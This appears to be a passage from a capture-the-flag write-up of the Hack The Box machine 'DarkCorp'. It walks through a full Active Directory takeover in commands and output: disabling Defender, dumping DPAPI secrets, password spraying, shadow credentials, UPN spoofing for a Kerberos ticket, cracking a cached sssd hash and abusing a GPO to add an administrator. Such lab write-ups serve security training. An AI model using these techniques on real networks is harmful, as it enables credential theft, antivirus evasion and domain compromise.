NL$KM:ddc92114b923691bd8befd576b3c3ee19d3d3f7482af7533fd74616eb72455af6f61a0bc2b2a86cf6eece0d33798fee514547da9a6451937f120244b18431972
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Access as john.w
After accessing WEB-01
I can see that AV is enabled on the machine and I deactivate it. Then I upload SharpDPAPI to look for credentials and find But_Lying_Aid9!
as password for the Administrator
account used for a scheduled task.
PS > Set-MpPreference -DisableRealTimeMonitoring $true
PS > .\SharpDPAPI.exe machinetriage
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.2
[*] Action: Machine DPAPI Credential, Vault, and Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: 1004CECDC9B33080D25A4A29126D4590EB555C5F7F3F9F871EA1DAFAEA01AE4CCF6E3F7EE535E472
[*] m/u : 1004CECDC9B33080D25A4A29126D4590EB555C5F / 7F3F9F871EA1DAFAEA01AE4CCF6E3F7EE535E472
[*] SYSTEM master key cache:
{0398c226-b529-40ce-8f26-9d125bacd246}:28D19153A3E41D3A615581AB8E72B55D143C3B5F
{37804100-9399-4783-8353-2422ef13aee6}:17316C6DB7FDA10461336208F9C457845C15EFC9
{a4ae82ac-1990-4b2a-81de-22f930f5a2a6}:CFCCEEAAACA2FF6D0971B684E7ADC9A21FAE2858
{b9f97cf8-ab4f-432b-90be-ec2c1313cf01}:053CD32F9169E99FFCCA5CC495695762851CD85A
[*] Triaging System Credentials
Folder : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : 25EE02BE85D0F32011CE03B1B0D2FB47
guidMasterKey : {b9f97cf8-ab4f-432b-90be-ec2c1313cf01}
size : 560
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
description : Local Credential Data
LastWritten : 1/20/2025 2:01:28 PM
TargetName : Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6}
TargetAlias :
Comment :
UserName : WEB-01\Administrator
Credential : But_Lying_Aid9!
[*] Triaging SYSTEM Vaults
[*] Triaging System Certificates
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
Folder : C:\ProgramData\Microsoft\Crypto\Keys
With the password I rerun SharpDPAPI with the credentials command to look for credentials stored in current user context and automatically decrypting anything that is found. That uncovers another password: Pack_Beneath_Solid9!
.
PS > .\SharpDPAPI.exe credentials /password:But_Lying_Aid9!
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.2
[*] Action: User DPAPI Credential Triage
[*] Will decrypt user masterkeys with password: But_Lying_Aid9!
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\189c6409-5515-4114-81d2-6dde4d6912ce
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\52f4da50-9381-4c66-89c9-38efdc4993d3
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\6037d071-cac5-481e-9e08-c4296c0a7ff7
[*] User master key cache:
{52f4da50-9381-4c66-89c9-38efdc4993d3}:9B36321FBF8754E7B2FA687607E6F637C262B75B
{6037d071-cac5-481e-9e08-c4296c0a7ff7}:6E08761666A9819671BBC5BBACFB4671964367B7
[*] Triaging Credentials for ALL users
Folder : C:\Users\Administrator\AppData\Local\Microsoft\Credentials\
CredFile : 32B2774DF751FF7E28E78AE75C237A1E
guidMasterKey : {6037d071-cac5-481e-9e08-c4296c0a7ff7}
size : 560
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
description : Local Credential Data
LastWritten : 1/16/2025 11:01:39 AM
TargetName : LegacyGeneric:target=WEB-01
TargetAlias :
Comment : Updated by: Administrator on: 1/16/2025
UserName : Administrator
Credential : Pack_Beneath_Solid9!
Next I generate a list of users in the domain with nxc and use to spray the passwords against all of them. One match is found. The password Pack_Beneath_Solid9!
is also valid for user john.w
.
$ proxychains -q nxc ldap dc-01.darkcorp.htb -u victor.r \
-p 'victor1gustavo@#' \
--users-export users.txt
$ proxychains -q nxc ldap dc-01.darkcorp.htb -u users.txt \
-p 'Pack_Beneath_Solid9!' \
--continue-on-success
LDAP 172.16.20.1 389 DC-01 [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb)
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\Administrator:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\Guest:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\krbtgt:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\victor.r:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\svc_acc:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\john.w:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\angela.w:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\angela.w.adm:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\taylor.b:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\taylor.b.adm:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\eugene.b:Pack_Beneath_Solid9!
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\bryce.c:Pack_Beneath_Solid9!
Shell as angela.w.adm
The account john.w
has a GenericWrite over angela.w
and via certipy I add shadow credentials to get a TGT and the NTLM hash of the account.
$ proxychains -q certipy-ad shadow -account angela.w \
-u 'john.w@darkcorp.htb' \
-p 'Pack_Beneath_Solid9!' \
auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '607dd860-0d3a-2f77-1a4c-d53c7e586abe'
[*] Adding Key Credential with device ID '607dd860-0d3a-2f77-1a4c-d53c7e586abe' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '607dd860-0d3a-2f77-1a4c-d53c7e586abe' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Using principal: angela.w@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a
No outbound connections from angela.w
is visible but there’s a similar sounding account called angela.w.adm
that is part of the Linux admins. There’s the possibility of spoofing an account by setting up the userPrincipalName
and requesting a TGT while specifying NT-ENTERPRISE
as name type2.
Through bloodyAD I set the userPrincipalName
of angela.w
to angela.w.adm
and then request a new TGT for the admin account with the NTLM hash of the regular one. With the flag -principalType NT_ENTERPRISE
this is successful and a ticket is placed into the ccache file.
$ proxychains -q bloodyAD -d darkcorp.htb --host dc-01.darkcorp.htb \
-u john.w \
-p 'Pack_Beneath_Solid9!' \
set object angela.w userPrincipalName -v angela.w.adm
[+] angela.w's userPrincipalName has been updated
$ proxychains -q impacket-getTGT darkcorp.htb/angela.w.adm \
-hashes :957246c8137069bca672dc6aa0af7c7a \
-principalType NT_ENTERPRISE
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in angela.w.adm.ccache
Getting this to work over the network is somewhat tricky and therefore I transfer the ccache onto the Linux target via scp. Exporting the KRB5CCNAME
environment variable and then using ksu
changes my user to angela.w.adm
.
$ export KRB5CCNAME=angela.w.adm.ccache
$ ksu angela.w.adm -n angela.w.adm@DARKCORP.HTB
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)
Shell as taylor.b.adm
Considering the account is part of the Linux admins it can execute anything as root
and I can escalate my privileges right away.
$ sudo -l
Matching Defaults entries for angela.w.adm on drip:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User angela.w.adm may run the following commands on drip:
(ALL : ALL) NOPASSWD: ALL
Authenticating to the host obviously works through Kerberos and that might cache credentials locally as well. There are several candidates in /var/lib/sss/db
with cache_darkcorp.htb.ldb
sounding the most promising.
$ ls -la /var/lib/sss/db
total 5676
drwx------ 2 root root 4096 May 22 15:35 .
drwxr-xr-x 10 root root 4096 Jan 10 11:51 ..
-rw------- 1 root root 1609728 May 22 15:38 cache_darkcorp.htb.ldb
-rw------- 1 root root 2615 May 22 15:35 ccache_DARKCORP.HTB
-rw------- 1 root root 1286144 May 21 12:20 config.ldb
-rw------- 1 root root 1286144 Dec 30 04:36 sssd.ldb
-rw------- 1 root root 1609728 May 22 15:38 timestamps_darkcorp.htb.ldb
Possible hashes can be extracted by using strings or a tool like SSSD-creds. Since the latter one requires certain utilities to be installed, I transfer the .ldb
file to my machine and run the script there. This prints the hash for user taylor.b.adm
, another one of the Linux admins. hashcat has no problem cracking and returns the cleartext password !QAZzaq1
.
$ ./analyze.sh .
### 1 hash found in ./cache_darkcorp.htb.ldb ###
Account: taylor.b.adm@darkcorp.htb
Hash: $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
=====> Adding ./cache_darkcorp.htb.ldb hashes to hashes.txt <=====
$ hashcat hash /usr/share/wordlists/rockyou.txt
--- SNIP ---
$6$5<REMOVED>n5.:!QAZzaq1
Shell as Administrator
BloodHound shows some interesting information when looking up the account. taylor.b.adm
is part of the Remote Management Users
group and can be used to log into the Domain Controller via evil-winrm. Also that user has write privileges over the GPO SECURITYUPDATES
that is linked to the DOMAIN CONTROLLERS
organizational unit. Since the host DC-01
is member of the OU, I can use the GPO to escalate my privileges there and take over the domain.
After getting a session on the host I run Get-GPO
to look up the ID of the group policy object (also visible in BloodHound).
PS > Get-GPO -Name SECURITYUPDATES
DisplayName : SecurityUpdates
DomainName : darkcorp.htb
Owner : darkcorp\Domain Admins
Id : 652cae9a-4bb7-49f2-9e52-3361f33ce786
GpoStatus : AllSettingsEnabled
Description : Windows Security Group Policy
CreationTime : 1/3/2025 3:01:12 PM
ModificationTime : 1/3/2025 4:01:12 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :
I suspect AV running on that host as well and I decide to use pygpoabuse instead of SharpGPOAbuse to modify the GPO and add a new account called ryuki
in the Administrators
group.
$ proxychains -q python3 pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' \
-gpo-id 652cae9a-4bb7-49f2-9e52-3361f33ce786 \
-command "net user ryuki Password1234 /add && net localgroup Administrators ryuki /add" \
-taskname "Important" \
-description "Very Important" \
-dc-ip 172.16.20.1
[*] Version updated
[+] ScheduledTask Important created!
Updates to GPOs are applied in specific intervals3 but with gpupdate /force
I don’t have to wait. After the refresh I can see that my newly created account is part of the Administrators
group and I can login to collect the final flag.
PS > gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
PS > net user ryuki
User name ryuki
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/22/2025 3:14:27 PM
Password expires 7/3/2025 3:14:27 PM
Password changeable 5/23/2025 3:14:27 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.
Attack Path
flowchart TD subgraph "Execution" A(Website Contact Form) -->|CVE-2024-42008/9| B(Exfiltrate emails) B -->|Email Content| C(Discover analytics dashboard) C -->|Password Reset & Exfiltrate Email| D(Access to dashboard) D -->|Postgres SQL injection| E(Shell as postgres) end subgraph "Privilege Escalation" E -->|GPG Decrypt File| F(Password Hashes) F -->|Crack Hashes| G(Shell as ebelford on DRIP) & H(Access as victor.r) H -->|Access to Monitoring Page on WEB-01| I(SSRF with NTLM authentication) I -->|"ntlmrelayx to relay SVC_ACC auth (ESC8)"| K(Create DNS record) K -->|Coerce WEB-01 and relay kerberos auth to DC| L(Certificate for WEB-01$) L -->|Silver Ticket| N(Access as Administrator on WEB-01) N -->|DPAPI| O(Passwords for Administrator) O -->|Password Spraying| P(Access as john.w) P -->|GenericWrite| Q(NTLM hash angela.w & Set UPN to angela.w.adm) Q -->|Request TGT with NT-ENTERPRISE hint| R(CCACHE for angela.w.adm) G & R -->|ksu on DRIP| S(Shell as angela.w.adm on DRIP) S -->|Cached Domain Credentials in sssd| T(Hash of taylor.b.adm) T -->|Crack Hash| U(Shell as taylor.b.adm) U -->|Modify GPO linked to DC| V(Shell as Administrator) end